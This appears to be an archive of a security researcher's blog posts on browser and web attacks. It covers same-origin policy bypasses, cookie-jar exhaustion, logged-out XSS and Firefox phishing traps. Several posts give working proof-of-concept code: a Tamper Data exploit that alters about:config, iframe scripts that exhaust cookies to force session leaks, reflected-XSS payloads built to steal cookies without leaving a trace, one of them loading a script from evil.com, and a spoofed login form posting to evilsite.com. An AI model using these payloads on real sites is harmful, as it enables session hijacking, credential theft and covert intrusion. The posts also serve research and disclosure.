Showing posts with label Javascript. Show all posts
Showing posts with label Javascript. Show all posts

Thursday, July 16, 2009

It's been a while

So it's been a while since I've posted anything here, mostly because this blog was the product of a hell of a lot of free time (aka high school), I've been going to uni full time and working part time, which hasn't left me with a lot of free time, and on top of that I figured out that if I put the same content into slides, rather than writing blog posts, I can present it at conferences (selling out++) and have a fun time doing so.

In any case, I did some presentations recently and thought I should probably put details up here.

I did a talk last November at Power of Community and XCon about the Same Origin Policy and some new ways of looking at it, where most of the new material was along the line of the GIFAR attacks Billy Rios came up with that Nate McFeters, etc, ended up presenting at BlackHat which took a lot of the wind out of my sails *shrug*, it should be interesting as it covers a lot of other things and points people in some uncommon directions, I've uploaded the paper I wrote and the slides here:

Slides
Paper

I also did a talk at RUXCON and 25c3 with Stefano Di Paola (and I even spelled his surname correctly this time! ^_^) called Attacking Rich Internet Applications, so here are some materials:

RUXCON Slides
25c3 Video Recordings

I never ended up releasing this while it worked since I didn't want to kill a bug, but if you look at the video or were at the presentation you may have seen me demonstrate an exploit for Tamper Data, the bug is almost identical to this one that I had claimed was exploitable. While my rationale in that post was incorrect (due to me testing with an old version of Tamper Data which was vulnerable in the way described), I came up with an interesting exploit for the bug in Firefox 3 which could have gained me code execution by editing about:config entries.

Here is the PoC exploit:

<?php
//This is just a PoC, have a look through about:config for any _string_ entry you would want to change
//This bug is kind of lame, but the exploit is cool, since it uses a Firefox bug to do damage (this should be unexploitable)
//Bug fires when a user graphs a malicious http request (open tamper data, graph the attack request)
header ("HTTP/1.1 200 OK<BR><B>Mime Type</B>: text/html\",event);' onMouseOut='hide_info();'><script>opener.oTamper.preferences.PREFERENCES_ROOT='';opener.oTamper.preferences.init();opener.oTamper.preferences.setString('app.update.url', 'jajaja');</script><g/='");
?>


The bug is triggerable on old Tamper Data versions where the Graph Requests functionality worked, and if you graphed the malicious request/response the exploit would set the app.update.url would be set to jajaja.

The bug works by abusing a lack of access control on any objects that extensions create in their windows (It wasn't just Tamper Data, it happened in other extensions), where it was possible to read and modify the objects, and more importantly: call their functions. When you called a function that an extension had created, it was executed in the context of the extension, namely chrome code.

It did not end up being necessary or useful for this exploits, however it was possible to call those functions and completely control all the data, etc, via calls such as opener.oTamper.whatever_function.apply(our_obj).

In any case, the access control bug died some time in the last few Firefox 3.0.X releases, but I'm not really sure which since the graphing functionality in Tamper Data hasn't been working for even longer, and it got to be too much effort to double check it.

I also did a presentation at the OWASP Australia Conference in February titled "Examining and Bypassing the IE8 XSS Filter", which might be some nice background for people, but will probably be greatly surpassed by sirdarckcat & thornmaker's upcoming Black Hat presentation. Here are the Slides.

I also did a presentation on Writing Better XSS Payloads at EUSecWest in May, however I haven't uploaded the slides since I'm trying to submit it to Hack In The Box Malaysia to have the material reach a wider audience, so unless it is rejected, you'll have to wait until then to see it... Or email me.

And that's all for now...

Friday, February 22, 2008

Racing to downgrade users to cookie-less authentication

Be warned: this post is a bit out there, and not extremely practical, but I'm posting exploit code and I thought the attack was fun.

If you ever disable cookies and try to use the web you will notice that a surprising number of websites that use sessions still work, especially if they are using a session management framework or were written during the browser wars when a significant number of people still didn't have cookie support in their browser, or were suspicious enough to have them disabled.

All of the cookie-less authentication systems rely on the same idea: passing session tokens through the URL. Other than being bad practice because it gets logged, etc, FUD, etc, they also get leaked through referers to 3rd parties. So if we can get an persistent image pointing to our server, then we will have the session tokens leaked to us. And it does have to be persistent, because unlike cookies, session tokens passed in the URL are not implicit and are not attached to our reflected html injections.

However this is usually never raised as an issue because everyone has cookies enabled these days, and this attack doesn't work against anyone.

However, how do web applications which need to work without JavaScript detect if a user's browsers supports cookies? They simply set a cookie, and then when the user logs in they verify whether a cookie was sent, and if it was not they then start putting the session id in all the links and forms on a page. Some applications also check on every subsequent page if they can set a cookie, and if they can there is no way to degrade to cookie-less auth again.

As I wrote previously; I discovered that in Firefox and Opera we can exhaust the cookie limit to delete the user's old cookies.

If we assume that we will have the user browsing both a site which degrades to cookie-less auth and our malicious site at the same time then if you think about this then you can see that there is a race condition between when the server sets the cookie and the user logs in (and in some applications between when a page is served and the next html request is made).

The question is; can we win this race?

In Firefox, it takes approximately 100 miliseconds on my machine to set 1000 cookies over 20 hostnames, with 1 hostname per iframe. So we can win any race.

In my testing Opera is much faster at navigating between pages and setting cookies, however I'm still unsure if we can win this race in Opera.

I think the code at the end of this post can be improved by having the iframes on hostnames which looks like a.b.c.d....z.123.ccTLD and are 256 characters long and is made up of 126 levels of hostnames, where the first 125 levels are single character portions, so as to maximise the number of levels on the hostname.

And then in each iframe we would set the max number of cookies for .a.b.c.d....z.123.ccTLD then .b.c.d....z.123.ccTLD and then .c.d....z.123.ccTLD etc, until we set a cookie for 123.ccTLD - this would mean we do not havew to navigate between pages at all, and we could do opera's 65536 max cookie limit in 18 iframes; however before doing this we might have to force a lookup to all 2815 hostnames so that we don't hit a bottleneck in Opera's cross-site cooking code.

However, if we cannot get things as fast as in Firefox, we may still be able to win some races.

A lot depends on the application, but the easiest case is where we only have to win one race, and we can keep racing, such as the Phorum software which runs sla.ckers.org; it sets a temporary cookie which it checks the existence of when you login, and if it is not there when you login, it uses cookie-less auth for the whole session.

So our race here is against how long it takes the user to fill in the login page; and considering that if we lose the race we end up deleting all the cookies, we simply race again and again.

vBulletin on the other hand, is a much tougher beast. It tries to set a cookie on every page, even when you have begun using cookie-less auth, and also has a redirect page which redirects you in 2 seconds.

So not only do we have to win every race until a user views our image, we also have to be able to beat a two second race.

We can probably stop the redirect happening by simply running our code (which lags the system a bit), and winning the race like that, but winning the race 100% of the time may still be difficult, and would lag the system enough for the user to think of closing the tab/window.

However, when we race we race against everything, so the code we use is identical between applications, and would only have to change between browsers.

Anyway, here's some code for Firefox which spins when it doesn't need to be racing, i.e. when it has completely saturated the cookie jar and writing any additional cookie would simply overwrite earlier cookies that our script set, so that it only lags the system in bursts.

You need to have 20 subdomains setup which point to the second file; the easiest way to do this is just wildcard DNS. And have the first file setup on the parent domain, e.g. [1-20].localhost & localhost

main.php:
<html>
<body>
<script>
document.domain = document.domain;

var numloaded = 0;
var tries = 0;

function loaded() {
if (++numloaded == 20) {
go();
}
}

var numnotified = 0;

function notify() {
if (++numnotified == 20) {
numnotified = 0;
window.setTimeout ('poll()', 300);
}
}

var time = new Date();

function go() {
numnotified = 0;
document.cookie = 'testing=1';
for (var n=0;n<20;n++) {
window.frames[n].go();
}
}

function poll() {
var missing = 0;
for (var n=0;n<20;n++) {
missing = missing + window.frames[n].poll();
}
if (missing>0) {
go();
} else {
window.setTimeout ('poll()', 300);
}
}

</script>
<?php
for ($i=0;$i<20;$i++) {
print '<iframe src="http://'.($i+1).'.localhost/cookie_sub.php" style="visibility: hidden" width="1" height="1"></iframe>';
}
?>
</body>
</html>


cookie_sub.php:
<?php
header ("Expires: Fri, 17 Dec 2010 10:00:00 GMT"); //To speed up repeated attacks
?>
<html>
<body>
<script>

document.domain = 'localhost';
window.parent.loaded();

function go() {

for (var n=0;n<50;n++) {
document.cookie = n+"=1";
}


window.parent.notify();
}

function poll () {
if (document.cookie.split('; ').length==50) {
return 0;
} else {
return 1;
}
}

</script>
</body>
</html>

Exploiting Logged Out XSS Vulnerabilities

Usually when we consider vulnerabilities which are only rendered when a user is logged out (e.g. a side bar which renders a vulnerable login form when logged out, and a menu otherwise), the known methods of attack lie in, first getting the user logged out, and then doing one of the following:

  • Extracting login information from the Password Manager

  • Modifying a client-side data store, such as cookies or Flash LSO's to create an attack which fires later when a user is logged in

  • Conducting a Session Fixation attack



Some new possibilities for attacking these vulnerabilities are:


  • Reading the Browser Cache via XSS

  • Semi-Logging the User Out



Reading the Browser Cache via XSS


Most browsers do not let you read pages which have not been explicitly cached, and where the Expires or Cache-Control headers have not been set, except Internet Explorer.

If you use the XmlHttpRequest object to make a request to a resource which has no caching information attached to it you will simply get back the cached copy which may contain sensitive information such as the person's billing details, or other juicy information you an use in other exploits.

But since security people have been parroting on about how websites need to make sure that they don't let the browser cache something because the user may be using a public computer, etc, etc, this is much less viable, however at least we now have a real reason for recommending people to not let the browser cache things.

Semi-Logging the User Out


However before we jump to the conclusion that the vulnerability is only triggered when the user is logged out let us consider what it really means to be "logged in".

To be "logged in" is to send the web application a cookie header which gets parsed by the server/web application framework (e.g. Apache/PHP), and the parsed value is associated by the application with a valid session.

So conversely, when are you "logged out"? You're logged out whenever the above series of events (plus any other steps I missed) don't fall exactly into place.

So if we start with a user who is currently logged in; instead of logging them out completely via CSRF (or just waiting until they log themselves out), the trick here is to create an exploit which fires when the browser still holds the users cookies, but the application doesn't receive those cookies exactly.

The easiest and most generic place (I found) to attack this chain is to alter what the browser sends, and therefore the server receives.

Until the latest version of Flash (which is 9,0,115,0), the following code ran properly and let us tamper with the Cookie header:

class Attack {
static function main(mc) {
var req:LoadVars = new LoadVars();
req.addRequestHeader("Cookie", "PHPSESSID=junk");
req.x = "y";
req.send("http://site.com/page.php?variable=",
"_self", "POST");
// Note: The method must be POST, and must contain
// POST data, otherwise headers don't get attached
}
}


Unfortunately this does not work in IE, since IE seems to stop plugins from playing with the Cookie headers it sends.

Furthermore, this does not actually replace the Cookie header which the browser sends, rather it forces the browser to send an additional Cookie header which would make the relevant part of the HTTP request look something like to this:

Cookie: PHPSESSID=valid_id
Cookie: PHPSESSID=junk


Which PHP (and pretty much every other Server/web application framework) would reconcile into the single PHPSESSID value of:

valid_id, PHPSESSID=junk

Which is of course not a valid session token, and the application treats the user as logged out, and our XSS executes as if the user was logged out, however since the browser still has all the cookies, so we can either steal them or get the user to perform actions on our behalf, etc.

The less generic, but still working approach is to overwrite overwrite the cookies for your particular path only, either via an XSS from a related subdomain or by abusing a cross-site cookie bug in a browser (check my last post).

Thursday, July 19, 2007

Firefox gets httpOnly!

I don't usually report on things here, but since no-one else seems to be saying something, I thought I should.

Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their patch notes, and the following test case: http://kuza55.awardspace.com/httponly.php

Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value

<?php

header("Set-Cookie: hidden=value; httpOnly");

?>
<html>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>


So hurrah for the Firefox developers who made this happen, no matter how long it took.

Saturday, April 28, 2007

Creating sockets to sites which run Google Analytics javascript without Anti-DNS Pinning

This is a short post, but I thought this warranted its own post, so that the message is not lost.

One of the repercussions of this post: http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.

And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur:

attack.target.evil.com -> web server controlled by evil.com
target.evil.com -> victim web server running Google Analytics (or other document.location referencing code)

Is possible. Now, since attack.target.evil.com can communicate with target.evil.com [1] as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into target.evil.com, which will be able to create sockets to the web server's IP.

Another way the DNS->IP resolution scheme of subdomains not needing to be related can be abused is by making target.evil.com resolve to the IP of a service like myspace, which has a "domain generalisation" scheme, which will set the document.domain property to the second level domain, and so will resolve to evil.com, and evil.com can then create sockets to myspace.com.

And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.

[1] Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.

Friday, April 27, 2007

Breaking the same origin policy in an upwards direction (IE & Firefox Only)

To explain why this is meaningful, I'll first give a quick primer on the document.domain property:

The document.domain is by default set to the hostname which is used to access a site.

The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]

To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.

Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.

Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.

Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.

[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863

Sunday, April 01, 2007

Untraceable XSS Attacks Version 2

I was thinking about the Adobe PDF UXSS issue that we encountered a few months ago, and remembered how much of a problem we had solving it because servers were not sent the URL fragments (the part after the #).

Now this got me thinking; the client can still read the portion of the URL after the # symbol.

So why not put the location of our logic after the URL fragment like so:

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>var source_loc = substr (document.location.lastIndexOf("#") + 1); var s = document.createElement ('script'); s.src=source_loc; document.body.appendChild(s);</script>#http://www.evil.com/s.js">
</head>
</html>



And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.

Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.

And it seems like a much cleaner method than the last two posts to me.

Friday, March 30, 2007

(Non-Persistent) Untraceable XSS Attacks (IE & Opera version)

[EDIT]: Due to something I misunderstood ages ago this post is completely useless, so please see: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html Which has been re-written.

Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.

Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.

But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.

We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.location = 'http://www.target.com./page.php?vuln=%3Cscript%3Edocument.domain%3D%27com.%27%3Bwindow.parent.logic%28%29%3B%3C/script%3E&cookie='+escape(document.cookie);</script>">
</head>
</html>


And then our attack page would have to look something more like this:
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    var loc = window.frames[0].document.location;
    var cookie = substr (loc.lastIndexOf("=") + 1);
    alert(cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


I have not tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.

(Non-Persistent) Untraceable XSS Attacks

[EDIT]: Sorry for taking so long to do this, but I've been really busy lately. Anyway, when doing my initial testing with document.domain stuff Firefox threw some errors when I tried to set the domain to just 'com' - I'm not sure why since this is allowed, and as such this post was needlessly confusing (since I thought you could only set it to 'com.'), and so I've rewritten it (keeping most of it intact), the old copy is still at the end, but its not really worth reading since its pretty much the same thing.

When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

It turns out you can set the document.domain property to just 'com' if you have a .com domain.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :
<html>
<body>
<script>
document.domain = 'com';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


go.php :
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.domain='com';window.parent.logic();</script>">
</head>
</html>


In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server since you have set up a system where any .com domain can break the cross domain boundary.

Old Post:



When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

As trev found out, it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value to '.com.'.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


go.php :
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com./page.php?vuln=<script>document.domain='com.';window.parent.logic();</script>">
</head>
</html>


In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.

[EDIT]: Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains,and so store cookies separately. I have figured out a way to overcome this, which I've posted here: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html so that anyone who has already seen this post will hopefully notice the second one.

Monday, March 26, 2007

Partially stopping sites breaking out of frames in Mozilla

I've been looking for ways to stop sites breaking out of frames for a long time now, and haven't been able to find anything.

And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out. What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.

Using the idea that I used to implement this; http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html, it is possible to stop site breaking out of frames.

Using the following code:
<html>
<body>
<script>
function test(e) {
    window.setTimeout ("stop();", 1);

}

window.onbeforeunload = test;

</script>
<iframe src="http://hackthissite.org/" />
</body>
</html>


But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.

So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.

Tuesday, March 20, 2007

Trapping Mozilla For Phishing

I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper SessionSafe: Implementing XSS Immune Session Handling (there's also some discussion about the paper here: http://sla.ckers.org/forum/read.php?13,7607), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.

Before delving into an explanation, here's the code which I'll explain:

<html>
<body>
<script>
function test(e) {
window.setTimeout ("stop();", 1);
window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);
}

window.onbeforeunload = test;

</script>
<div id="test2">Please go to bankofamerica.com</div>
<div style="display:none;" id="test">Please Enter your Login Details here:
<form action="http://evilsite.com/">
Username: <input name="username">
Password: <input type="password" name="password">
</form></div>
</body>
</html>


Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.

In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.

The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.

Simple Enough.

One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.

You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.

Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/

P.S. This was tested on Firefox 2.0.0.2

Monday, February 26, 2007

stopgetpass.user.js - an interim solution

A couple of days ago I posted a method of breaking the RSCR Fix Mozilla implemented in Firefox. Today, I want to post an interim fix for the issue in the form of a Greasemonkey script:

for (i=0,c=document.forms.length;i<c;i++) {
    if (document.forms[i].method == 'get') {
        var password = false;
        for (l=0,k=document.forms[i].elements.length;l<k;l++) {
            if (document.forms[i].elements[l].type == 'password') {
                password = true;
            }
        }
        if (password == true) {
            document.forms[i].method = "post"
        }
    }
}


Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.

Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.

I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.

P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.

Saturday, February 10, 2007

Bookmarklets are NOT secure

Jungsonn wrote a post entitled "Defeating Phishers" where he wrote about how one could distribute risk across two servers, and essentially have one site where XSS vulnerabilities are unimportant, and one which would need to be audited heavily. He also recommended using Bookmarklets because "Bookmarklets are actually pretty secure things, no software or website can access them.".

Personally I disagree with both those statements. Firstly, if you find an XSS hole in the main domain, you can easily make the page say that they've changed their practices, sure it would be a little odd, but the amount of user education required for this attack to be impractical would be enough to solve the whole phishing issue, not just this one.

But more importantly I want to debunk the myth that Bookmarklets are secure. Leaving aside the fact that trojans and similar can easily alter them because they have access to the file system, they are still insecure; they are as insecure as the page they are clicked on is untrustworthy.

For example, lets take the Bookmarklet Jungsonn posted:
javascript:QX=document.getSelection();if(!QX){void(QX=prompt('Type your firstname',''))};if(QX)document.location='https://myonlinebank.com'

It would seem fairly secure, except for the fact that with the very allowing Javascript engines, we can stop this from working, here's how:
<script>
function changeHandler(x, y, z) {
if (z == 'https://myonlinebank.com') {
return 'https://myonlinebank.com.us';
} else {
return z;
}
}

document.watch('location', changeHandler);
</script>


If the bookmarklet is clicked on a page with that on it - say a phishing page at http://myonlinebank.com.us or a legitimate page on the http://onlinebank.com domain if it has an XSS hole in it, then we can easily send the user to a phishing page, even though the value is hard coded in the bookmarklet.

Of course, the bookmarklet can try to detect and remove such things, but its a technological battle that will be fought on a bookmarklet by bookmarklet basis; which is essentially where security generally fails - custom code. Of course the other scenario is that we find a secure method of redirecting users, but even if we do, we're not going to be able to get everyone to use it; so I'd rather not recommend bookmarklets as security; just tell users to create a simple bookmark to the site.

Or we could try to educate users to only click on the bookmarklet from a blank page, but thats another area where security generally fails - user education.

Wednesday, January 24, 2007

defy.js

Well, I was kinda bored this morning and had the (very questionably) great idea of writing a snippet of code to delete all Javascript overloading, and reinstate the XMLHttpRequest Object:

function extractXHR () {
    var iframe = document.createElement('iframe');
    iframe.name='test';
    iframe.src='http://www.google.com/';
    iframe.style.display = 'none';
    document.body.appendChild(iframe);
    window.XMLHttpRequest= window.frames.test.XMLHttpRequest;
    document.body.removeChild(iframe);
}

function recursive_delete (object) {
    var failed;
    for (obj in object) {
        failed = 0;

        try {
            delete window[obj];
        } catch (e) {
            failed = 1;
        }

        if (failed = 0) {
            try {
                recursive_delete (window[obj]);
            } catch (e){

            }

        }
    }
};

recursive_delete (window);
recursive_delete (document);
extractXHR();


The other thing I could have done would be a recursive_extract function, which tried to extract everything from the window object of the iframe, but not everything is enumerable (e.g. XMLHttpRequest is not enumerable), so customized code could still possibly be needed.

Also, the way reason the extraction works is because it executes before the page can fully load, and this causes the originating domain policy to not have kicked in yet, and so we can still get the window object. its probably not the same object as the one the page uses in the end though, but I think I might check it out.

Essentially what that means for an attacker is that there is a tiny chance that it won't work if the page is set up between the two Javascript instructions which append the iframe and extract the XMLHttpRequest object.

Tuesday, January 23, 2007

More Javascript Overloading

Well, as I mentioned in my last post, Jeremiah's idea of masking functions works quite well, but I left out the fact that it only works for the window object, so things like document.write() are still safe because document cannot be masked. try it:

javascript:function document() {};

And you get the error Error: redeclaration of const document.

As you can see, while I do call it masking when you override XMLHttpRequest by creating a function of the same name, it is really just redeclaring it inside the window context.

So its effectively impossible to stop people writing to the document, and therefore creating an iframe and using it's XMLHttpRequest object.

Now, thanks to Mook from irc.mozilla.org #js I've also found out that for everything other than XMLHttpRequest that you can over-write there also seems to be a property in window.__proto__ that does the same thing. Conveniently enough you can also create a function called __proto__ which blocks it.

Also, just some assorted things about Javascript which I mentioned in previous articles I want to mention:

When the submit() method gets replaced by a form element of the same name, you can still access it via the form.__proto__.submit() function, again; Thanks Mook.

Redeclaring Javascript Properties

Ok, so the title of this was originally "Don't we have memories for a reason?", and had a bit of a rant here, but I decided the rant part was a bit unwarranted and stupid (exceptionally stupid, really), so I've removed it so I don't subject anyone else to that crap. Anyway, on with the post:

Jeremiah Grossman (who does some great work, actually), had the idea to stop XSS Worms by denying them access to some crucial functions like XMLHttpRequest() and createElement. You can read the whole post here: http://jeremiahgrossman.blogspot.com/2007/01/preventing-csrf-when-vulnerable-to-xss.html.

Now while I don't think people have attempted to do exactly that before, there were efforts to do the same thing to deny attackers access to cookies a while back, which used the same techniques which it turned out could be easily subverted. Now this isn't my rant, things happen and people might not know about what has happened before, fair enough.

But when people who know about what happened before and that it can be overwritten start saying that Jeremiah's idea works you've really got to wonder why we have memories if we don't use them.

Oh, and here's some code to prove my point: (check your error console to see there are no errors, and the appropriate functions are being called)

javascript:window.__defineGetter__("open", function() { }); delete window.open; window.open("http://kuza55.blogspot.com/",null,"");

javascript:document.createElement = function () {}; delete document.createElement; var bold = document.createElement('b'); bold.innerHtml = 'createElement Works'; document.body.appendChild(bold);

javascript:document.__defineGetter__("write", function() { }); delete document.write; document.write('document.write works');

I also found it humorous that someone was recommending using delete to remove the window element so that people could not call the function, instead of overwriting it.

Ok, now onto some more interesting things. The idea that Jeremiah Proposed for getting rid of the XMLHttpRequest() object was quite a good one, because whenever we try to delete a function it doesn't work, we CANNOT delete functions; it seems you can only delete objects and properties.

The documentation for the delete operator can be found here, it doesn't mention why we can't (or how to) delete functions though: http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators#delete

So essentially that definitely works, so good job on coming up with that. Well, untill someone else figures out a way past that as well.

But there are some fun things you can do like the following:

<html>
<body>

<script>
function XMLHttpRequest() { }
</script>

<iframe name='test' id='test' src='http://www.google.com/'></iframe>

<script>
var req = new window.frames.test.XMLHttpRequest();
alert(req);
</script>

</body>
</html>


So if we can somehow create an iframe, with a name, we can circumvent it. We could also use an iframe created by advertising code, but that is limited by the fact that we would need to use window.frames, and the only things which you can't replace with functions are window, document, and possibly some other constants I can't remember right now.

Disclaimer: I'm not saying that anyone who I've mentioned does bad work (and even when I was ranting, I wasn't saying that), but seriously, you were told about something once, do you need to be told again?